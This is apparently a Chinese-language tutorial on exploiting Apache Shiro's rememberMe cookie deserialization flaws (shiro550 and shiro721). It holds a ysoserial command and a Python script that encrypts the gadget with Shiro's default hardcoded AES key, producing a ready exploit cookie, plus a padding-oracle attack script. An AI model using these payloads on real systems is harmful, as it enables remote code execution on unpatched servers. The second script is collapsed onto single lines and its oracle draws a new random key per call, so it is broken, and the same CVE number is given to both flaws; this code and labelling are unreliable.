一、关于shiro介绍
简单讲,shiro是apache旗下的一个Java安全框架,轻量级简单易上手,框架提供很多功能接口,常见的身份认证 、权限认证、会话管理、Remember 记住功能、加密等等。
二、漏洞分析
1.CVE-2019-12422-shiro550
漏洞原理:shiro会对Remember Me功能带的cookie字段进行解密并进行反序列化,解密过程为base64解码------AES-CBC解密------反序列化,所以我们只需要逆向构造数据包就能触发漏洞,Apache Shiro ≤1.2.4版本的AES密钥是硬编码,尝试爆破常见的key就能触发。
目前市场上利用工具很多,手工构造也可以
使用工具生成反序列化文件,AES加密后结果base64密码
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 “calc” > 2.txt
from _ast import Lambda
from Crypto.Cipher import AES
import uuid,base64
key = "kPH+bIxk5D2deZiIxcaaaA=="
file=open("2.txt",'rb')
bs = AES.block_size
pad = lambda s: s + ((bs - len(s) % bs) * chr(bs - len(s) % bs)).encode()
key = base64.b64decode(key)
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file2 = pad(file.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file2))
result = str(base64_ciphertext, encoding='utf-8')
f4 = open("3.txt","w")
f4.write(result)
2.CVE-2019-12422-shiro721
漏洞原理:影响1.2.5至1.4.1版本,包括1.3.x和1.4.0系列,在shiro550基础上加入随机key,改变硬编码不能直接爆破key,但AES-128-CBC模式易受填充提示攻击(Padding Oracle Attack),攻击者需通过有效RememberMe Cookie作为前缀逐步爆破密钥,从而触发漏洞。利用难度较高,需要登录后拿到cookie,漏洞主要利用了AES-CBC加密模式的安全缺陷进行了密钥破解。
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from Crypto.Random import get_random_bytes
import base64# 模拟存在Padding Oracle漏洞的服务器
def padding_oracle(encrypted_data):key = get_random_bytes(16)iv = encrypted_data[:16]ciphertext = encrypted_data[16:]try:cipher = AES.new(key, AES.MODE_CBC, iv)plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size)return True # 填充正确时返回Trueexcept (ValueError, KeyError):return False # 填充错误或其他错误# 生成测试数据
key = get_random_bytes(16)
iv = get_random_bytes(16)
plaintext = b"Secret Message!!"
cipher = AES.new(key, AES.MODE_CBC, iv)
ciphertext = cipher.encrypt(pad(plaintext, AES.block_size))
encrypted_data = iv + ciphertext# Padding Oracle攻击实现
recovered_plaintext = b""
num_blocks = len(ciphertext) // 16# 从最后一个块开始攻击
for block_idx in range(num_blocks - 1, -1, -1):intermediate = bytearray(16)for byte_pos in range(15, -1, -1):# 构造测试块test_block = bytearray(ciphertext[block_idx*16 : (block_idx+1)*16])# 计算当前需要的填充值padding_value = (16 - byte_pos) % 16if padding_value == 0:padding_value = 16# 暴力破解当前字节found = Falsefor guess in range(256):# 构造中间值for prev_byte in range(byte_pos + 1):test_block[prev_byte] = ciphertext[block_idx*16 + prev_byte] ^ intermediate[prev_byte]# 设置当前猜测字节test_block[byte_pos] = guess ^ padding_value# 构造完整的加密数据modified_data = iv + bytes(test_block) + ciphertext[(block_idx+1)*16:]if padding_oracle(modified_data):intermediate[byte_pos] = guess ^ ciphertext[block_idx*16 + byte_pos] ^ padding_valuerecovered_plaintext = bytes([guess ^ intermediate[byte_pos]]) + recovered_plaintextfound = Truebreakif not found:raise ValueError("攻击失败")print(f"原始明文: {plaintext}")
print(f"恢复的明文: {recovered_plaintext}")